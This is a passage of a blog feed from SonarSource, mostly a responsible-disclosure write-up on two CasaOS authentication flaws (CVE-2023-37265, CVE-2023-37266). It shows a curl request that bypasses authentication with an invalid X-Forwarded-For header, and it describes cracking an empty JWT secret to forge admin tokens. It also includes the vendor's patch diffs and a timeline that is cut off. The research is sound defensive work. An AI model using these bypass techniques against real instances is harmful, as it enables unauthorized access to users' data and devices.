 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1451/&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1451/&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 3:&lt;/h4&gt;&lt;p&gt;Code should be respectful and inclusive. It should avoid employing discriminatory or offensive language and opt for inclusive terminology whenever a suitable alternative communicates the same meaning.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A regular expression can be used to track identifier names and comments, for example:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Master / Slave
Blacklist / Whitelist&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Primary / Secondary
Denylist / Allowlist&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/?query=naming%20convention&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/?query=naming%20convention&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;And so what?&lt;/h2&gt;&lt;p&gt;First, we feel very good about this classification (by the way, each category also breaks down into subcategories). We think this is a solid foundation for Clean Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, we want to gradually roll out this detailed definition of Clean Code in Sonar products. Starting with the way we classify issues in the code. The first step is already available in SonarCloud, SonarLint, and SonarQube 10.2.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition, we will start working on classifying the consequences for the software when the code isn&amp;#x27;t clean, such as security, reliability, maintainability, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;See the community announcement for screenshots and more information: &lt;a href=&quot;https://community.sonarsource.com/t/introducing-clean-code-in-our-products/98431&quot;&gt;https://community.sonarsource.com/t/introducing-clean-code-in-our-products/98431&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Share your feedback!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Vulnerabilities in CasaOS]]></title><description><![CDATA[We recently uncovered two critical code vulnerabilities in the personal cloud system CasaOS. Let's see what we can learn from them.]]></description><link>https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos</link><guid isPermaLink="false">170a0179-9ea8-5450-8e64-4ea74fb3880b</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 17 Oct 2023 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As part of our continuous effort to improve our Clean Code technology and the security of the open-source ecosystem, our R&amp;amp;D team is always on the lookout for new 0-day security vulnerabilities in prominent software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We recently uncovered two critical code vulnerabilities in a personal cloud solution named CasaOS. CasaOS can be installed on any machine thanks to Docker and comes with end-user NAS devices like the ZimaBoard or the X86Pi. Users deploy CasaOS to store their personal data on devices they trust and access it from anywhere.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;CasaOS is developed by IceWhale in Go and has close to 17,000 stars on GitHub as we&amp;#x27;re writing this article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/940d7e05-e293-4cc0-917d-79214340babb/Dashboard.png&quot; /&gt;&lt;p&gt;&lt;em&gt;A CasaOS dashboard.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These security vulnerabilities, tracked as CVE-2023-37265 and CVE-2023-37266, allow attackers to get around authentication requirements and gain full access to the CasaOS dashboard. From here, attackers can access the data stored on the device, but that&amp;#x27;s not all. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of CasaOS&amp;#x27; extensibility and support for third-party applications, they can also execute arbitrary commands on the system to gain persistent access to the device or pivot into internal networks. &lt;a href=&quot;https://arstechnica.com/information-technology/2023/02/lastpass-hackers-infected-employees-home-computer-and-stole-corporate-vault/&quot;&gt;There are reports that an exploit for Plex Media Server, another personal cloud system, was used in the LastPass breach&lt;/a&gt;, and this initial foothold to get access to the employee&amp;#x27;s internal network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While we now are releasing the technical details of our findings several months after the vendor addressed them, we were made aware of public exploits based on the study of the patch only 10 days after the security release. That means that all unpatched instances are already at risk. &lt;strong&gt;We urge all CasaOS users to upgrade their instances to the latest available release (v0.4.4-1 at the time of writing this article)&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s dive into the technical details of these security vulnerabilities and see what we can learn from them!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/iMOBh7BeqmM?si=TB9gRtlO1M7e4vY0&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Pretending to be an internal service with CVE-2023-37265&lt;/h2&gt;&lt;p&gt;To follow this vulnerability, we must first understand that CasaOS is not a standalone software but a set of services you install on top of a distribution like Ubuntu or Debian. That means that by default, CasaOS has control over all components processing incoming HTTP(S) requests.&lt;/p&gt;&lt;h3&gt;A world of microservices&lt;/h3&gt;&lt;p&gt;The first component to receive users&amp;#x27; requests is &lt;code&gt;casaos-gateway&lt;/code&gt;, the only service to be directly exposed to the network. In a common fashion in the Go ecosystem, it forwards requests to other local microservices depending on the request path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Many services are listening only on &lt;code&gt;localhost&lt;/code&gt;, waiting for &lt;code&gt;casaos-gateway&lt;/code&gt; to send them traffic:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;casaos&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;casaos-message-bus&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;casaos-user-service&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;casaos-local-storage&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;casaos-app-management&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This can be confirmed by reading the configuration of &lt;code&gt;casaos-gateway&lt;/code&gt;. The entry &lt;code&gt;runtimepath&lt;/code&gt; defines where it will store the route that services later declare by notifying &lt;code&gt;casaos-gateway&lt;/code&gt; on its management port.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;root@casaos-dev:~# cat /etc/casaos/gateway.ini
[common]
runtimepath=/var/run/casaos

[gateway]
logfileext=log
logpath=/var/log/casaos
logsavename=gateway
port=80
wwwpath=/var/lib/casaos/www&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These routes are persisted in &lt;code&gt;/var/run/casaos/routes.json&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;root@casaos-dev:~# cat /var/run/casaos/routes.json
{&quot;/&quot;:&quot;http://127.0.0.1:46351&quot;,&quot;/.well-known/jwks.json&quot;:&quot;http://127.0.0.1:36915&quot;,&quot;/doc/v2/app_management&quot;:&quot;http://127.0.0.1:41401&quot;,&quot;/doc/v2/casaos&quot;:&quot;http://127.0.0.1:45277&quot;, [...], &quot;/v3/file&quot;:&quot;http://127.0.0.1:45277&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Internally, the gateway uses this list and Go&amp;#x27;s &lt;code&gt;net/http/httputil/ReverseProxy&lt;/code&gt; to forward incoming requests to the right service. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/58f56b8d-f409-4cc1-91b7-7d248f048794/Architecture.png&quot; /&gt;&lt;p&gt;&lt;em&gt;Image taken from &lt;a href=&quot;https://wiki.casaos.io/en/contribute/development&quot;&gt;https://wiki.casaos.io/en/contribute/development&lt;/a&gt;. &lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Where is it coming from?&lt;/h3&gt;&lt;p&gt;A common problem caused by such reverse proxies is that the final service will see all requests coming from the reverse proxy; in this case, the source IP address at the network layer level would always be &lt;code&gt;localhost&lt;/code&gt;! To solve this problem, it&amp;#x27;s commonly agreed that the reverse proxy uses a header named &lt;code&gt;X-Forwarded-For&lt;/code&gt; to give this information to the application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two scenarios can arise:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The client&amp;#x27;s request doesn&amp;#x27;t have an &lt;code&gt;X-Forwarded-For&lt;/code&gt; header: the reverse proxy will create one, and put the client&amp;#x27;s IP address in it, i.e., &lt;code&gt;X-Forwarded-For: 1.2.3.4&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;The client&amp;#x27;s request already has an &lt;code&gt;X-Forwarded-For&lt;/code&gt; header because of another reverse proxy placed in front of &lt;code&gt;casaos-gateway&lt;/code&gt;. In this case, it will forward the header after appending the previous proxy&amp;#x27;s IP address, i.e. &lt;code&gt;X-Forwarded-For: 1.2.3.4, 192.168.42.42&lt;/code&gt;. The current proxy won&amp;#x27;t add its own IP address because the next hop can get it from the network layer.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The HTTP RFC does not specify how one should deal with invalid &lt;code&gt;X-Forwarded-For&lt;/code&gt; headers, so most implementations will simply copy the value found in the header when relaying requests.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.rfc-editor.org/info/rfc7239&quot;&gt;RFC 7239&lt;/a&gt; introduced a new header named &lt;code&gt;Forwarded&lt;/code&gt;, intending to replace many headers of the &lt;code&gt;X-Forwarded-*&lt;/code&gt; family. Still, its deployment stays very sparse and has the same implications security-wise.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There&amp;#x27;s a very common foot gun here: the application should only trust this family of headers if it knows there&amp;#x27;s a reverse proxy in front. Otherwise, the header could come directly from the client and can contain anything! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our case, there&amp;#x27;s always &lt;code&gt;casaos-gateway&lt;/code&gt; in front, so it&amp;#x27;s all good, but we&amp;#x27;ve already found such issues in many applications, such as &lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;OneDev&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So far, so good–now it&amp;#x27;s up to the application to handle this header to find the client&amp;#x27;s IP address.&lt;/p&gt;&lt;h3&gt;Your IP address is in another layer!&lt;/h3&gt;&lt;p&gt;But why would we need to know the client&amp;#x27;s real IP address? Logging is the first thing that comes to most developers&amp;#x27; minds. If you put your security hat on, you may also want to use it for rate limiting, access control, or authentication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking at the code of the microservices listed above, there are several cases of security decisions based on the client&amp;#x27;s IP address. For instance, in the repository &lt;a href=&quot;https://github.com/IceWhaleTech/CasaOS-Common&quot;&gt;CasaOS-Common&lt;/a&gt;, used by &lt;code&gt;casaos&lt;/code&gt; and &lt;code&gt;casaos-local-storage&lt;/code&gt;, there&amp;#x27;s this snippet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func ExceptLocalhost(publicKeyFunc func() (*ecdsa.PublicKey, error)) gin.HandlerFunc {
  return func(c *gin.Context) {
    if c.ClientIP() == &quot;::1&quot; || c.ClientIP() == &quot;127.0.0.1&quot; {
      c.Next()
      return
    }

    JWT(publicKeyFunc)(c)
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;CasaOS-Common/utils/jwt/jwt_helper.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The authentication middleware is skipped if a request comes from &lt;code&gt;127.0.0.1&lt;/code&gt; or &lt;code&gt;::1&lt;/code&gt;! That means that &lt;code&gt;gin.Context.ClientIP()&lt;/code&gt; probably has logic to handle application-level IP address information (e.g., through &lt;code&gt;X-Forwarded-For&lt;/code&gt;). Otherwise, all requests wouldn&amp;#x27;t require authentication since they come from &lt;code&gt;casaos-gateway&lt;/code&gt; through the loopback interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Digging further into Gin&amp;#x27;s implementation, we see the following documentation around the &lt;code&gt;ClientIp()&lt;/code&gt; implementation:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// ClientIP implements one best effort algorithm to return the real client IP.
// It calls c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not.
// If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]).
// If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy,
// the remote IP (coming from Request.RemoteAddr) is returned.
func (c *Context) ClientIP() string {
	// [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;gin-gonic/gin/context.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The important bit is &amp;quot;If the headers are not syntactically valid [...] the remote IP (coming from &lt;code&gt;Request.RemoteAddr&lt;/code&gt;) is returned&amp;quot;. Here is the validation function applied to all comma-separated values of &lt;code&gt;X-Forwarded-For&lt;/code&gt; starting from the rightmost one:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// validateHeader will parse X-Forwarded-For header and return the trusted client IP address
func (engine *Engine) validateHeader(header string) (clientIP string, valid bool) {
	if header == &quot;&quot; {
		return &quot;&quot;, false
	}
	items := strings.Split(header, &quot;,&quot;)
	for i := len(items) - 1; i &gt;= 0; i-- {
		ipStr := strings.TrimSpace(items[i])
		ip := net.ParseIP(ipStr)
		if ip == nil {
			break    // &lt;==== [1]
		}
		// X-Forwarded-For is appended by proxy
		// Check IPs in reverse order and stop when find untrusted proxy
		if (i == 0) || (!engine.isTrustedProxy(ip)) {
			return ipStr, true
		}
	}
	return &quot;&quot;, false
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;gin-gonic/gin/gin.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interestingly, at [1], the code bails out of the loop if it finds an invalid IP address, even if it previously found valid IP addresses. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That means that if we&amp;#x27;re sending an invalid &lt;code&gt;X-Forwarded-For&lt;/code&gt; header with our request, for instance with the value &lt;code&gt;foobar&lt;/code&gt;, it gets relayed by &lt;code&gt;casaos-gateway&lt;/code&gt; after appending its IP address, and the validation of this header in Gin fails. It then falls back to the source IP address of the client–&lt;code&gt;casaso-gateway&lt;/code&gt;, talking from 127.0.0.1! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Requests from this IP address do not require authentication, resulting in an authentication bypass on most API endpoints. It is trivial to demonstrate it on our test instance. Our first request without the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header gets an error 401, while a second request with an invalid &lt;code&gt;X-Forwarded-For&lt;/code&gt; gets through:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ curl -v &apos;http://192.168.64.3/v1/sys/logs&apos;
&gt; GET /v1/sys/logs HTTP/1.1
&gt; Host: 192.168.64.3
&gt; User-Agent: curl/8.2.1
&gt; Accept: */*
&gt;
&lt; HTTP/1.1 401 Unauthorized
&lt; [...]
&lt;
* Connection #0 to host 192.168.64.3 left intact
$ curl -v -H &apos;X-Forwarded-For: x&apos; &apos;http://192.168.64.3/v1/sys/logs&apos;
&gt; GET /v1/sys/logs HTTP/1.1
&gt; Host: 192.168.64.3
&gt; User-Agent: curl/8.2.1
&gt; Accept: */*
&gt; X-Forwarded-For: x
&gt;
&lt; HTTP/1.1 200 OK
&lt; [...]
{&quot;success&quot;:200,&quot;message&quot;:&quot;ok&quot;,&quot;data&quot;:&quot;2023-06-30T13:09:16.882Z\tinfo\tNotified systemd that casaos main service is ready\t{\&quot;func\&quot;: \&quot;main.main\&quot;[...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;ll now look into our second finding, CVE-2023-37266, before discussing post-exploitation risks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Creating arbitrary JWTs with CVE-2023-37266&lt;/h2&gt;&lt;p&gt;While investigating CVE-2023-37265, we noticed a strange behavior of the session JWT. Modifying the token&amp;#x27;s claims and signature did not result in errors, and something was likely wrong with it.&lt;/p&gt;&lt;p&gt;How can we validate this theory? There are now tools aimed at the Bug Bounty community to detect weak secrets, like Ian Carroll&amp;#x27;s &lt;a href=&quot;https://github.com/iangcarroll/cookiemonster&quot;&gt;cookiemonster&lt;/a&gt;, but even the venerable &lt;a href=&quot;https://www.openwall.com/john/&quot;&gt;John the Ripper&lt;/a&gt; is good for this job. It immediately confirms the use of an empty HMAC-SHA256 secret: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ john --format=HMAC-SHA256 jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 ASIMD 4x])
Proceeding with single, rules:Single
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/nix/store/15mz0y4nyxl4apy0w1562bw8kd4f8wps-john-1.9.0-jumbo-1/share/john/password.lst, rules:Wordlist
                 (?)
1g 0:00:00:00 DONE 2/3 (2023-06-30 15:28) 100.0g/s 25600p/s 25600c/s 25600C/s 123456..franklin
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the secret isn&amp;#x27;t &lt;em&gt;really&lt;/em&gt; secret, anybody can craft an arbitrary JWT as they please. By crafting valid-looking but unsigned tokens, attackers could bypass the authentication and gain administration privileges on vulnerable CasaOS instances.&lt;/p&gt;&lt;h2&gt;Now what? Post-exploitation considerations&lt;/h2&gt;&lt;p&gt;As always and out of caution, we won&amp;#x27;t be sharing exploitation scripts but we believe that it is important to share the full extent of these findings&amp;#x27; impact to help users protect themselves. It is also a good opportunity to discuss security best practices when designing software features.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the most appealing features of CasaOS is its support of third-party applications &lt;a href=&quot;https://github.com/IceWhaleTech/CasaOS-AppStore/tree/main/Apps&quot;&gt;through the internal application store&lt;/a&gt; or manually through the web interface and their Custom Install wizard. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d9f9542c-66b9-4096-8623-2cdb1b0535ad/Deploy%20New%20Application.png&quot; /&gt;&lt;p&gt;&lt;em&gt;The Custom Install wizard.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These applications are simply Docker containers deployed on the same host as CasaOS. Docker containers only provide thin isolation between the application and other processes, and CasaOS users can mount devices and folders from the host in the context of the application. Both Docker and the application run as &lt;code&gt;root&lt;/code&gt;, the former on the default user namespace and the latter on its own, so malicious applications can compromise the host through these mounts.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Such abusable features are widespread, especially in software aimed at tech-savvy users who always like to have control over what they use. Attackers can also leverage these features to compromise the system. It grants them persistent access to the device, even across software updates, and helps them to pivot into the victim&amp;#x27;s internal network. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A good practice is to allow users to opt-out, or even better opt-in, of these features in a configuration file. It lets advanced users turn off dangerous features if they don&amp;#x27;t need them, resulting in a reduction of the overall attack surface.&lt;/p&gt;&lt;h2&gt;How CasaOS addressed our findings&lt;/h2&gt;&lt;p&gt;Shortly after discovering, confirming, and documenting these security vulnerabilities, our Vulnerability Researchers responsibly disclosed them to the CasaOS maintainers through &lt;a href=&quot;https://github.com/IceWhaleTech/CasaOS/security/advisories/new&quot;&gt;GitHub&amp;#x27;s Security Advisories&lt;/a&gt; feature. We&amp;#x27;ve had great discussions with them to identify and validate the robustness of their patches before releasing CasaOS v0.4.4.&lt;/p&gt;&lt;h3&gt;Preventing spoofing of local addresses (CVE-2023-37265)&lt;/h3&gt;&lt;p&gt;While we initially recommended stripping all incoming &lt;code&gt;X-Forwarded-For&lt;/code&gt; and similar headers, maintainers wanted to keep the support of potential reverse proxies in front of CasaOS instances.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another solution was found in &lt;a href=&quot;https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7&quot;&gt;391dd7f&lt;/a&gt;, where they decided to rewrite outgoing &lt;code&gt;X-Forwarded-For&lt;/code&gt; headers in a way they would never contain &lt;code&gt;127.0.0.1&lt;/code&gt; or &lt;code&gt;::1&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func rewriteRequestSourceIP(r *http.Request) {
	// we may receive two kinds of requests. a request from reverse proxy. a request from client.

	// in reverse proxy, X-Forwarded-For will like
	// `X-Forwarded-For:[192.168.6.102]`(normal)
	// `X-Forwarded-For:[::1, 192.168.6.102]`(hacked) Note: the ::1 is inject by attacker.
	// `X-Forwarded-For:[::1]`(normal or hacked) local request. But it from browser have JWT. So we can and need to verify it
	// `X-Forwarded-For:[::1,::1]`(normal or hacked) attacker can build the request to bypass the verification.
	// But in the case. the remoteAddress should be the real ip. So we can use remoteAddress to verify it.

	ipList := strings.Split(r.Header.Get(&quot;X-Forwarded-For&quot;), &quot;,&quot;)

	r.Header.Del(&quot;X-Forwarded-For&quot;)
	r.Header.Del(&quot;X-Real-IP&quot;)

	// Note: the X-Forwarded-For depend the correct config from reverse proxy.
	// otherwise the X-Forwarded-For may be empty.
	remoteIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, &quot;:&quot;)]
	if len(ipList) &gt; 0 &amp;&amp; (remoteIP == &quot;127.0.0.1&quot; || remoteIP == &quot;::1&quot;) {
		// to process the request from reverse proxy

		// in reverse proxy, X-Forwarded-For will container multiple IPs.
		// if the request is from reverse proxy, the r.RemoteAddr will be 127.0.0.1.
		// So we need get ip from X-Forwarded-For
		r.Header.Add(&quot;X-Forwarded-For&quot;, ipList[len(ipList)-1])
	}
	// to process the request from client.
	// the gateway will add the X-Forwarded-For to request header.
	// So we didn&apos;t need to add it.
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;route/gateway_route.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a security design standpoint, this solution is not entirely satisfactory because internal services still don&amp;#x27;t require authentication for requests from &lt;code&gt;localhost&lt;/code&gt;. Attackers could still gain arbitrary code execution from a simple Server-Side Request Forgery on the same host. In the same way, if any of these services are exposed to untrusted users by mistake, attackers would not have to provide credentials to compromise the server.&lt;/p&gt;&lt;h3&gt;Enforcing JWT validation for CVE-2023-37266&lt;/h3&gt;&lt;p&gt;After validating this finding on our local instance, we wanted to confirm it on the public demonstration instance in a non-intrusive way. We collected a valid JWT but noticed that the signature seemed to use another secret, and unleashing John didn&amp;#x27;t yield any result.&lt;/p&gt;&lt;p&gt;In fact, CasaOS maintainers already addressed this security vulnerability in the development branch with the commit &lt;a href=&quot;https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad&quot;&gt;&lt;code&gt;705bf1f&lt;/code&gt;&lt;/a&gt;, a few weeks before our research. The patch updates both route groups to use the configuration&amp;#x27;s private key and ensure the token&amp;#x27;s signature is valid.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;diff --git a/route/v1.go b/route/v1.go
index da317eb4..98117604 100644
--- a/route/v1.go
+++ b/route/v1.go
// [...]
@@ -39,7 +41,11 @@ func InitV1Router() *gin.Engine {
 	r.GET(&quot;/v1/recover/:type&quot;, v1.GetRecoverStorage)
 	v1Group := r.Group(&quot;/v1&quot;)
 
-	v1Group.Use(jwt.ExceptLocalhost())
+	v1Group.Use(jwt.JWT(
+		func() (*ecdsa.PublicKey, error) {
+			return external.GetPublicKey(config.CommonInfo.RuntimePath)
+		},
+	))
 	{
 
 		v1SysGroup := v1Group.Group(&quot;/sys&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;705bf1facbffd2ca40b159b0303132b6fdf657ad.patch&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;diff --git a/route/v2.go b/route/v2.go
index 4c4a1fb5..d07e0629 100644
--- a/route/v2.go
+++ b/route/v2.go
// [...]
@@ -74,11 +76,14 @@ func InitV2Router() http.Handler {
 			// return true
 		},
 		ParseTokenFunc: func(token string, c echo.Context) (interface{}, error) {
-			claims, code := jwt.Validate(token) // TODO - needs JWT validation
-			if code != common_err.SUCCESS {
+			// claims, code := jwt.Validate(token) // TODO - needs JWT validation
+			// if code != common_err.SUCCESS {
+			// 	return nil, echo.ErrUnauthorized
+			// }
+			valid, claims, err := jwt.Validate(token, func() (*ecdsa.PublicKey, error) { return external.GetPublicKey(config.CommonInfo.RuntimePath) })
+			if err != nil || !valid {
 				return nil, echo.ErrUnauthorized
 			}
-
 			c.Request().Header.Set(&quot;user_id&quot;, strconv.Itoa(claims.ID))
 
 			return claims, nil&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;705bf1facbffd2ca40b159b0303132b6fdf657ad.patch&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We still reported our finding because we didn&amp;#x27;t find an official security advisory for it, and CasaOS decided to assign a CVE since it has been vulnerable for quite some time now.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-03&lt;/td&gt;&lt;td&gt;We report all issues to CasaOS maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-03&lt;/td&gt;&lt;td&gt;The vendor confirms the issues and creates GitHub private advisories to coordinate disclosure and collaborate on the patches.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-14&lt;/td&gt;&lt;td&gt;CasaOS v0.4.4 is released.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-17&lt;/td&gt;&lt;td&gt;CVE-2023-37265 and CVE-2023-37266 are assigned to our findings.&lt;/td&gt;&lt;/tr&gt;
